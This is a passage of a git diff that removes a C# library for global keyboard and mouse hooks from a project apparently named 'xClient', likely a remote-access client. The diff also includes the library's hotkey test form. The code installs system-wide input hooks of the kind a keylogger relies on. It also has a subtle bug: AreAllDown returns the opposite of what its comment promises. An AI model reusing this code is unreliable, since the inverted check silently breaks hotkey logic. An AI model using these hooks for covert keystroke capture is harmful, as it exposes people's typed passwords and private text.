TestFormHookListeners: - - //HotKeySetsListener inherits KeyboardHookListener - private readonly HotKeySetsListener m_KeyboardHookManager; - private readonly MouseHookListener m_MouseHookManager; - - public TestFormHookListeners() - { - InitializeComponent(); - //m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); - //m_KeyboardHookManager.Enabled = true; - - m_MouseHookManager = new MouseHookListener( new GlobalHooker() ) { Enabled = true }; - - HotKeySetCollection hkscoll = new HotKeySetCollection(); - m_KeyboardHookManager = new HotKeySetsListener( hkscoll, new GlobalHooker() ) { Enabled = true }; - - BuildHotKeyTests( hkscoll ); - } - - private void BuildHotKeyTests( HotKeySetCollection hkscoll ) - { - //Hot Keys are enabled by default. Use the Enabled property to adjust. - hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LShiftKey }, null, OnHotKeyDownOnce1, OnHotKeyDownHold1, OnHotKeyUp1, "test1" ) ); - hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LControlKey, Keys.RControlKey }, new[] { Keys.LControlKey, Keys.RControlKey }, OnHotKeyDownGeneral2, OnHotKeyDownGeneral2, OnHotKeyUp1, "test2" ) ); - } - - private static HotKeySet BindHotKeySet( IEnumerable ks, - IEnumerable xorKeys, - HotKeySet.HotKeyHandler onEventDownOnce, - HotKeySet.HotKeyHandler onEventDownHold, - HotKeySet.HotKeyHandler onEventUp, - string name ) - { - - //Declare ALL Keys that will be available in this set, including any keys you want to register as an either/or subset - HotKeySet hks = new HotKeySet( ks ); - - //Indicates that the keys in this array will be treated as an OR rather than AND: LShiftKey or RShiftKey - //The keys MUST be a subset of the ks Keys array. - if ( hks.RegisterExclusiveOrKey( xorKeys ) == Keys.None ) //Keys.None indicates an error - { - MessageBox.Show( null, @"Unable to register subset: " + String.Join( ", ", xorKeys ), - @"Subset registration error", MessageBoxButtons.OK, MessageBoxIcon.Error ); - } - - hks.OnHotKeysDownOnce += onEventDownOnce; //The first time the key is down - hks.OnHotKeysDownHold += onEventDownHold; //Fired as long as the user holds the hot keys down but is not fired the first time. - hks.OnHotKeysUp += onEventUp; //Whenever a key from the set is no longer being held down - - hks.Name = ( name ?? String.Empty ); - - return hks; - - } - - private void GeneralHotKeyEvent( object sender, DateTime timeTriggered, string eventType ) - { - HotKeySet hks = sender as HotKeySet; - string kstring = String.Join( ", ", hks.HotKeys ); - Log( String.Format( "{0}: {2} {1} - {3}\r\n", timeTriggered.TimeOfDay, eventType, hks.Name, kstring ) ); - } - - private void OnHotKeyDownGeneral2( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "ONCE/HOLD" ); - } - - private void OnHotKeyDownOnce1( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "ONCE" ); - } - - private void OnHotKeyDownHold1( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "HOLD" ); - } - - private void OnHotKeyUp1( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "UP" ); - } - - - diff --git a/Client/Core/MouseKeyHook/IKeyboardEvents.cs b/Client/Core/MouseKeyHook/IKeyboardEvents.cs deleted file mode 100644 index 3ec34e05d..000000000 --- a/Client/Core/MouseKeyHook/IKeyboardEvents.cs +++ /dev/null @@ -1,43 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// Provides keyboard events - /// - public interface IKeyboardEvents - { - /// - /// Occurs when a key is pressed. - /// - event KeyEventHandler KeyDown; - - /// - /// Occurs when a key is pressed. - /// - /// - /// Key events occur in the following order: - /// - /// KeyDown - /// KeyPress - /// KeyUp - /// - /// The KeyPress event is not raised by non-character keys; however, the non-character keys do raise the KeyDown and - /// KeyUp events. - /// Use the KeyChar property to sample keystrokes at run time and to consume or modify a subset of common keystrokes. - /// To handle keyboard events only in your application and not enable other applications to receive keyboard events, - /// set the property in your form's KeyPress event-handling method to - /// true. - /// - event KeyPressEventHandler KeyPress; - - /// - /// Occurs when a key is released. - /// - event KeyEventHandler KeyUp; - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/IKeyboardMouseEvents.cs b/Client/Core/MouseKeyHook/IKeyboardMouseEvents.cs deleted file mode 100644 index f70debc23..000000000 --- a/Client/Core/MouseKeyHook/IKeyboardMouseEvents.cs +++ /dev/null @@ -1,15 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// Provides keyboard and mouse events. - /// - public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable - { - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/IMouseEvents.cs b/Client/Core/MouseKeyHook/IMouseEvents.cs deleted file mode 100644 index a5150d0aa..000000000 --- a/Client/Core/MouseKeyHook/IMouseEvents.cs +++ /dev/null @@ -1,73 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Windows.Forms; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// Provides all mouse events. - /// - public interface IMouseEvents - { - /// - /// Occurs when the mouse pointer is moved. - /// - event MouseEventHandler MouseMove; - - /// - /// Occurs when the mouse pointer is moved. - /// - /// - /// This event provides extended arguments of type enabling you to - /// suppress further processing of mouse movement in other applications. - /// - event EventHandler MouseMoveExt; - - /// - /// Occurs when a click was performed by the mouse. - /// - event MouseEventHandler MouseClick; - - /// - /// Occurs when the mouse a mouse button is pressed. - /// - event MouseEventHandler MouseDown; - - /// - /// Occurs when the mouse a mouse button is pressed. - /// - /// - /// This event provides extended arguments of type enabling you to - /// suppress further processing of mouse click in other applications. - /// - event EventHandler MouseDownExt; - - /// - /// Occurs when a mouse button is released. - /// - event MouseEventHandler MouseUp; - - /// - /// Occurs when a mouse button is released. - /// - /// - /// This event provides extended arguments of type enabling you to - /// suppress further processing of mouse click in other applications. - /// - event EventHandler MouseUpExt; - - - /// - /// Occurs when the mouse wheel moves. - /// - event MouseEventHandler MouseWheel; - - /// - /// Occurs when a mouse button is double-clicked. - /// - event MouseEventHandler MouseDoubleClick; - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/AppEventFacade.cs b/Client/Core/MouseKeyHook/Implementation/AppEventFacade.cs deleted file mode 100644 index 612d4f04f..000000000 --- a/Client/Core/MouseKeyHook/Implementation/AppEventFacade.cs +++ /dev/null @@ -1,19 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class AppEventFacade : EventFacade - { - protected override MouseListener CreateMouseListener() - { - return new AppMouseListener(); - } - - protected override KeyListener CreateKeyListener() - { - return new AppKeyListener(); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/AppKeyListener.cs b/Client/Core/MouseKeyHook/Implementation/AppKeyListener.cs deleted file mode 100644 index 6a2732876..000000000 --- a/Client/Core/MouseKeyHook/Implementation/AppKeyListener.cs +++ /dev/null @@ -1,27 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class AppKeyListener : KeyListener - { - public AppKeyListener() - : base(HookHelper.HookAppKeyboard) - { - } - - protected override IEnumerable GetPressEventArgs(CallbackData data) - { - return KeyPressEventArgsExt.FromRawDataApp(data); - } - - protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) - { - return KeyEventArgsExt.FromRawDataApp(data); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/AppMouseListener.cs b/Client/Core/MouseKeyHook/Implementation/AppMouseListener.cs deleted file mode 100644 index 327fde895..000000000 --- a/Client/Core/MouseKeyHook/Implementation/AppMouseListener.cs +++ /dev/null @@ -1,21 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class AppMouseListener : MouseListener - { - public AppMouseListener() - : base(HookHelper.HookAppMouse) - { - } - - protected override MouseEventExtArgs GetEventArgs(CallbackData data) - { - return MouseEventExtArgs.FromRawDataApp(data); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/BaseListener.cs b/Client/Core/MouseKeyHook/Implementation/BaseListener.cs deleted file mode 100644 index e837a3ddc..000000000 --- a/Client/Core/MouseKeyHook/Implementation/BaseListener.cs +++ /dev/null @@ -1,26 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal abstract class BaseListener : IDisposable - { - protected BaseListener(Subscribe subscribe) - { - Handle = subscribe(Callback); - } - - protected HookResult Handle { get; set; } - - public void Dispose() - { - Handle.Dispose(); - } - - protected abstract bool Callback(CallbackData data); - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/ButtonSet.cs b/Client/Core/MouseKeyHook/Implementation/ButtonSet.cs deleted file mode 100644 index c871595da..000000000 --- a/Client/Core/MouseKeyHook/Implementation/ButtonSet.cs +++ /dev/null @@ -1,33 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class ButtonSet - { - private MouseButtons m_Set; - - public ButtonSet() - { - m_Set = MouseButtons.None; - } - - public void Add(MouseButtons element) - { - m_Set |= element; - } - - public void Remove(MouseButtons element) - { - m_Set &= ~element; - } - - public bool Contains(MouseButtons element) - { - return (m_Set & element) != MouseButtons.None; - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/Callback.cs b/Client/Core/MouseKeyHook/Implementation/Callback.cs deleted file mode 100644 index a527a75be..000000000 --- a/Client/Core/MouseKeyHook/Implementation/Callback.cs +++ /dev/null @@ -1,10 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal delegate bool Callback(CallbackData data); -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/EventFacade.cs b/Client/Core/MouseKeyHook/Implementation/EventFacade.cs deleted file mode 100644 index 036a4130a..000000000 --- a/Client/Core/MouseKeyHook/Implementation/EventFacade.cs +++ /dev/null @@ -1,114 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Windows.Forms; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal abstract class EventFacade : IKeyboardMouseEvents - { - private KeyListener m_KeyListenerCache; - private MouseListener m_MouseListenerCache; - - public event KeyEventHandler KeyDown - { - add { GetKeyListener().KeyDown += value; } - remove { GetKeyListener().KeyDown -= value; } - } - - public event KeyPressEventHandler KeyPress - { - add { GetKeyListener().KeyPress += value; } - remove { GetKeyListener().KeyPress -= value; } - } - - public event KeyEventHandler KeyUp - { - add { GetKeyListener().KeyUp += value; } - remove { GetKeyListener().KeyUp -= value; } - } - - public event MouseEventHandler MouseMove - { - add { GetMouseListener().MouseMove += value; } - remove { GetMouseListener().MouseMove -= value; } - } - - public event EventHandler MouseMoveExt - { - add { GetMouseListener().MouseMoveExt += value; } - remove { GetMouseListener().MouseMoveExt -= value; } - } - - public event MouseEventHandler MouseClick - { - add { GetMouseListener().MouseClick += value; } - remove { GetMouseListener().MouseClick -= value; } - } - - public event MouseEventHandler MouseDown - { - add { GetMouseListener().MouseDown += value; } - remove { GetMouseListener().MouseDown -= value; } - } - - public event EventHandler MouseDownExt - { - add { GetMouseListener().MouseDownExt += value; } - remove { GetMouseListener().MouseDownExt -= value; } - } - - public event MouseEventHandler MouseUp - { - add { GetMouseListener().MouseUp += value; } - remove { GetMouseListener().MouseUp -= value; } - } - - public event EventHandler MouseUpExt - { - add { GetMouseListener().MouseUpExt += value; } - remove { GetMouseListener().MouseUpExt -= value; } - } - - public event MouseEventHandler MouseWheel - { - add { GetMouseListener().MouseWheel += value; } - remove { GetMouseListener().MouseWheel -= value; } - } - - public event MouseEventHandler MouseDoubleClick - { - add { GetMouseListener().MouseDoubleClick += value; } - remove { GetMouseListener().MouseDoubleClick -= value; } - } - - public void Dispose() - { - if (m_MouseListenerCache != null) m_MouseListenerCache.Dispose(); - if (m_KeyListenerCache != null) m_KeyListenerCache.Dispose(); - } - - private KeyListener GetKeyListener() - { - var target = m_KeyListenerCache; - if (target != null) return target; - target = CreateKeyListener(); - m_KeyListenerCache = target; - return target; - } - - private MouseListener GetMouseListener() - { - var target = m_MouseListenerCache; - if (target != null) return target; - target = CreateMouseListener(); - m_MouseListenerCache = target; - return target; - } - - protected abstract MouseListener CreateMouseListener(); - protected abstract KeyListener CreateKeyListener(); - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs b/Client/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs deleted file mode 100644 index 051294b6c..000000000 --- a/Client/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs +++ /dev/null @@ -1,19 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class GlobalEventFacade : EventFacade - { - protected override MouseListener CreateMouseListener() - { - return new GlobalMouseListener(); - } - - protected override KeyListener CreateKeyListener() - { - return new GlobalKeyListener(); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs b/Client/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs deleted file mode 100644 index 77ba61aa4..000000000 --- a/Client/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs +++ /dev/null @@ -1,27 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class GlobalKeyListener : KeyListener - { - public GlobalKeyListener() - : base(HookHelper.HookGlobalKeyboard) - { - } - - protected override IEnumerable GetPressEventArgs(CallbackData data) - { - return KeyPressEventArgsExt.FromRawDataGlobal(data); - } - - protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) - { - return KeyEventArgsExt.FromRawDataGlobal(data); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/GlobalMouseListener.cs b/Client/Core/MouseKeyHook/Implementation/GlobalMouseListener.cs deleted file mode 100644 index 325d2115c..000000000 --- a/Client/Core/MouseKeyHook/Implementation/GlobalMouseListener.cs +++ /dev/null @@ -1,73 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal class GlobalMouseListener : MouseListener - { - private readonly int m_SystemDoubleClickTime; - private MouseButtons m_PreviousClicked; - private Point m_PreviousClickedPosition; - private int m_PreviousClickedTime; - - public GlobalMouseListener() - : base(HookHelper.HookGlobalMouse) - { - m_SystemDoubleClickTime = MouseNativeMethods.GetDoubleClickTime(); - } - - protected override void ProcessDown(ref MouseEventExtArgs e) - { - if (IsDoubleClick(e)) - { - e = e.ToDoubleClickEventArgs(); - } - base.ProcessDown(ref e); - } - - protected override void ProcessUp(ref MouseEventExtArgs e) - { - base.ProcessUp(ref e); - if (e.Clicks == 2) - { - StopDoubleClickWaiting(); - } - - if (e.Clicks == 1) - { - StartDoubleClickWaiting(e); - } - } - - private void StartDoubleClickWaiting(MouseEventExtArgs e) - { - m_PreviousClicked = e.Button; - m_PreviousClickedTime = e.Timestamp; - m_PreviousClickedPosition = e.Point; - } - - private void StopDoubleClickWaiting() - { - m_PreviousClicked = MouseButtons.None; - m_PreviousClickedTime = 0; - m_PreviousClickedPosition = new Point(0, 0); - } - - private bool IsDoubleClick(MouseEventExtArgs e) - { - return - e.Button == m_PreviousClicked && - e.Point == m_PreviousClickedPosition && // Click-move-click exception, see Patch 11222 - e.Timestamp - m_PreviousClickedTime <= m_SystemDoubleClickTime; - } - - protected override MouseEventExtArgs GetEventArgs(CallbackData data) - { - return MouseEventExtArgs.FromRawDataGlobal(data); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/KeyListener.cs b/Client/Core/MouseKeyHook/Implementation/KeyListener.cs deleted file mode 100644 index e24bef8aa..000000000 --- a/Client/Core/MouseKeyHook/Implementation/KeyListener.cs +++ /dev/null @@ -1,71 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal abstract class KeyListener : BaseListener, IKeyboardEvents - { - protected KeyListener(Subscribe subscribe) - : base(subscribe) - { - } - - public event KeyEventHandler KeyDown; - public event KeyPressEventHandler KeyPress; - public event KeyEventHandler KeyUp; - - public void InvokeKeyDown(KeyEventArgsExt e) - { - var handler = KeyDown; - if (handler == null || e.Handled || !e.IsKeyDown) - { - return; - } - handler(this, e); - } - - public void InvokeKeyPress(KeyPressEventArgsExt e) - { - var handler = KeyPress; - if (handler == null || e.Handled || e.IsNonChar) - { - return; - } - handler(this, e); - } - - public void InvokeKeyUp(KeyEventArgsExt e) - { - var handler = KeyUp; - if (handler == null || e.Handled || !e.IsKeyUp) - { - return; - } - handler(this, e); - } - - protected override bool Callback(CallbackData data) - { - var eDownUp = GetDownUpEventArgs(data); - var pressEventArgs = GetPressEventArgs(data); - - InvokeKeyDown(eDownUp); - foreach (var pressEventArg in pressEventArgs) - { - InvokeKeyPress(pressEventArg); - } - - InvokeKeyUp(eDownUp); - - return !eDownUp.Handled; - } - - protected abstract IEnumerable GetPressEventArgs(CallbackData data); - protected abstract KeyEventArgsExt GetDownUpEventArgs(CallbackData data); - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/KeyboardState.cs b/Client/Core/MouseKeyHook/Implementation/KeyboardState.cs deleted file mode 100644 index f7ddfa4fd..000000000 --- a/Client/Core/MouseKeyHook/Implementation/KeyboardState.cs +++ /dev/null @@ -1,111 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Collections.Generic; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - /// - /// Contains a snapshot of a keyboard state at certain moment and provides methods - /// of querying whether specific keys are pressed or locked. - /// - /// - /// This class is basically a managed wrapper of GetKeyboardState API function - /// http://msdn.microsoft.com/en-us/library/ms646299 - /// - internal class KeyboardState - { - private readonly byte[] m_KeyboardStateNative; - - private KeyboardState(byte[] keyboardStateNative) - { - m_KeyboardStateNative = keyboardStateNative; - } - - /// - /// Makes a snapshot of a keyboard state to the moment of call and returns an - /// instance of class. - /// - /// An instance of class representing a snapshot of keyboard state at certain moment. - public static KeyboardState GetCurrent() - { - byte[] keyboardStateNative = new byte[256]; - KeyboardNativeMethods.GetKeyboardState(keyboardStateNative); - return new KeyboardState(keyboardStateNative); - } - - internal byte[] GetNativeState() - { - return m_KeyboardStateNative; - } - - /// - /// Indicates whether specified key was down at the moment when snapshot was created or not. - /// - /// Key (corresponds to the virtual code of the key) - /// true if key was down, false - if key was up. - public bool IsDown(Keys key) - { - byte keyState = GetKeyState(key); - bool isDown = GetHighBit(keyState); - return isDown; - } - - /// - /// Indicate weather specified key was toggled at the moment when snapshot was created or not. - /// - /// Key (corresponds to the virtual code of the key) - /// - /// true if toggle key like (CapsLock, NumLocke, etc.) was on. false if it was off. - /// Ordinal (non toggle) keys return always false. - /// - public bool IsToggled(Keys key) - { - byte keyState = GetKeyState(key); - bool isToggled = GetLowBit(keyState); - return isToggled; - } - - /// - /// Indicates weather every of specified keys were down at the moment when snapshot was created. - /// The method returns false if even one of them was up. - /// - /// Keys to verify whether they were down or not. - /// true - all were down. false - at least one was up. - public bool AreAllDown(IEnumerable keys) - { - foreach (Keys key in keys) - { - if (!IsDown(key)) - { - return true; - } - } - return false; - } - - private byte GetKeyState(Keys key) - { - int virtualKeyCode = (int) key; - if (virtualKeyCode < 0 || virtualKeyCode > 255) - { - throw new ArgumentOutOfRangeException("key", key, "The value must be between 0 and 255."); - } - return m_KeyboardStateNative[virtualKeyCode]; - } - - private static bool GetHighBit(byte value) - { - return (value >> 7) != 0; - } - - private static bool GetLowBit(byte value) - { - return (value & 1) != 0; - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/MouseListener.cs b/Client/Core/MouseKeyHook/Implementation/MouseListener.cs deleted file mode 100644 index acd8e4978..000000000 --- a/Client/Core/MouseKeyHook/Implementation/MouseListener.cs +++ /dev/null @@ -1,179 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal abstract class MouseListener : BaseListener, IMouseEvents - { - private readonly ButtonSet m_DoubleDown; - private readonly ButtonSet m_SingleDown; - private Point m_PreviousPosition; - - protected MouseListener(Subscribe subscribe) - : base(subscribe) - { - m_PreviousPosition = new Point(-1, -1); - m_DoubleDown = new ButtonSet(); - m_SingleDown = new ButtonSet(); - } - - protected override bool Callback(CallbackData data) - { - var e = GetEventArgs(data); - - if (e.IsMouseKeyDown) - { - ProcessDown(ref e); - } - - if (e.IsMouseKeyUp) - { - ProcessUp(ref e); - } - - if (e.WheelScrolled) - { - ProcessWheel(ref e); - } - - if (HasMoved(e.Point)) - { - ProcessMove(ref e); - } - - return !e.Handled; - } - - protected abstract MouseEventExtArgs GetEventArgs(CallbackData data); - - protected virtual void ProcessWheel(ref MouseEventExtArgs e) - { - OnWheel(e); - } - - protected virtual void ProcessDown(ref MouseEventExtArgs e) - { - OnDown(e); - OnDownExt(e); - if (e.Handled) - { - return; - } - - if (e.Clicks == 2) - { - m_DoubleDown.Add(e.Button); - } - - if (e.Clicks == 1) - { - m_SingleDown.Add(e.Button); - } - } - - protected virtual void ProcessUp(ref MouseEventExtArgs e) - { - if (m_SingleDown.Contains(e.Button)) - { - OnUp(e); - OnUpExt(e); - if (e.Handled) - { - return; - } - OnClick(e); - m_SingleDown.Remove(e.Button); - } - - if (m_DoubleDown.Contains(e.Button)) - { - e = e.ToDoubleClickEventArgs(); - OnUp(e); - OnDoubleClick(e); - m_DoubleDown.Remove(e.Button); - } - } - - private void ProcessMove(ref MouseEventExtArgs e) - { - m_PreviousPosition = e.Point; - - OnMove(e); - OnMoveExt(e); - } - - private bool HasMoved(Point actualPoint) - { - return m_PreviousPosition != actualPoint; - } - - public event MouseEventHandler MouseMove; - public event EventHandler MouseMoveExt; - public event MouseEventHandler MouseClick; - public event MouseEventHandler MouseDown; - public event EventHandler MouseDownExt; - public event MouseEventHandler MouseUp; - public event EventHandler MouseUpExt; - public event MouseEventHandler MouseWheel; - public event MouseEventHandler MouseDoubleClick; - - protected virtual void OnMove(MouseEventArgs e) - { - var handler = MouseMove; - if (handler != null) handler(this, e); - } - - protected virtual void OnMoveExt(MouseEventExtArgs e) - { - var handler = MouseMoveExt; - if (handler != null) handler(this, e); - } - - protected virtual void OnClick(MouseEventArgs e) - { - var handler = MouseClick; - if (handler != null) handler(this, e); - } - - protected virtual void OnDown(MouseEventArgs e) - { - var handler = MouseDown; - if (handler != null) handler(this, e); - } - - protected virtual void OnDownExt(MouseEventExtArgs e) - { - var handler = MouseDownExt; - if (handler != null) handler(this, e); - } - - protected virtual void OnUp(MouseEventArgs e) - { - var handler = MouseUp; - if (handler != null) handler(this, e); - } - - protected virtual void OnUpExt(MouseEventExtArgs e) - { - var handler = MouseUpExt; - if (handler != null) handler(this, e); - } - - protected virtual void OnWheel(MouseEventArgs e) - { - var handler = MouseWheel; - if (handler != null) handler(this, e); - } - - protected virtual void OnDoubleClick(MouseEventArgs e) - { - var handler = MouseDoubleClick; - if (handler != null) handler(this, e); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/Implementation/Subscribe.cs b/Client/Core/MouseKeyHook/Implementation/Subscribe.cs deleted file mode 100644 index a4f5ca0b4..000000000 --- a/Client/Core/MouseKeyHook/Implementation/Subscribe.cs +++ /dev/null @@ -1,10 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook.Implementation -{ - internal delegate HookResult Subscribe(Callback callbck); -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/KeyEventArgsExt.cs b/Client/Core/MouseKeyHook/KeyEventArgsExt.cs deleted file mode 100644 index 86b563fdb..000000000 --- a/Client/Core/MouseKeyHook/KeyEventArgsExt.cs +++ /dev/null @@ -1,128 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.Implementation; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// Provides extended argument data for the or - /// event. - /// - public class KeyEventArgsExt : KeyEventArgs - { - /// - /// Initializes a new instance of the class. - /// - /// - public KeyEventArgsExt(Keys keyData) - : base(keyData) - { - } - - internal KeyEventArgsExt(Keys keyData, int timestamp, bool isKeyDown, bool isKeyUp) - : this(keyData) - { - Timestamp = timestamp; - IsKeyDown = isKeyDown; - IsKeyUp = isKeyUp; - } - - /// - /// The system tick count of when the event occurred. - /// - public int Timestamp { get; private set; } - - /// - /// True if event signals key down.. - /// - public bool IsKeyDown { get; private set; } - - /// - /// True if event signals key up. - /// - public bool IsKeyUp { get; private set; } - - internal static KeyEventArgsExt FromRawDataApp(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - //http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx - - const uint maskKeydown = 0x40000000; // for bit 30 - const uint maskKeyup = 0x80000000; // for bit 31 - - int timestamp = Environment.TickCount; - - var flags = (uint) lParam.ToInt64(); - - //bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up. - bool wasKeyDown = (flags & maskKeydown) > 0; - //bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released. - bool isKeyReleased = (flags & maskKeyup) > 0; - - Keys keyData = AppendModifierStates((Keys) wParam); - - bool isKeyDown = !wasKeyDown && !isKeyReleased; - bool isKeyUp = wasKeyDown && isKeyReleased; - - return new KeyEventArgsExt(keyData, timestamp, isKeyDown, isKeyUp); - } - - internal static KeyEventArgsExt FromRawDataGlobal(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - var keyboardHookStruct = - (KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct)); - var keyData = AppendModifierStates((Keys) keyboardHookStruct.VirtualKeyCode); - - var keyCode = (int) wParam; - bool isKeyDown = (keyCode == Messages.WM_KEYDOWN || keyCode == Messages.WM_SYSKEYDOWN); - bool isKeyUp = (keyCode == Messages.WM_KEYUP || keyCode == Messages.WM_SYSKEYUP); - - return new KeyEventArgsExt(keyData, keyboardHookStruct.Time, isKeyDown, isKeyUp); - } - - // # It is not possible to distinguish Keys.LControlKey and Keys.RControlKey when they are modifiers - // Check for Keys.Control instead - // Same for Shift and Alt(Menu) - // See more at http://www.tech-archive.net/Archive/DotNet/microsoft.public.dotnet.framework.windowsforms/2008-04/msg00127.html # - - // A shortcut to make life easier - private static bool CheckModifier(int vKey) - { - return (KeyboardNativeMethods.GetKeyState(vKey) & 0x8000) > 0; - } - - private static Keys AppendModifierStates(Keys keyData) - { - // Is Control being held down? - bool control = CheckModifier(KeyboardNativeMethods.VK_CONTROL); - // Is Shift being held down? - bool shift = CheckModifier(KeyboardNativeMethods.VK_SHIFT); - // Is Alt being held down? - bool alt = CheckModifier(KeyboardNativeMethods.VK_MENU); - - // Windows keys - // # combine LWin and RWin key with other keys will potentially corrupt the data - // notable F5 | Keys.LWin == F12, see https://globalmousekeyhook.codeplex.com/workitem/1188 - // and the KeyEventArgs.KeyData don't recognize combined data either - - // Function (Fn) key - // # CANNOT determine state due to conversion inside keyboard - // See http://en.wikipedia.org/wiki/Fn_key#Technical_details # - - return keyData | - (control ? Keys.Control : Keys.None) | - (shift ? Keys.Shift : Keys.None) | - (alt ? Keys.Alt : Keys.None); - } - } -} \ No newline at 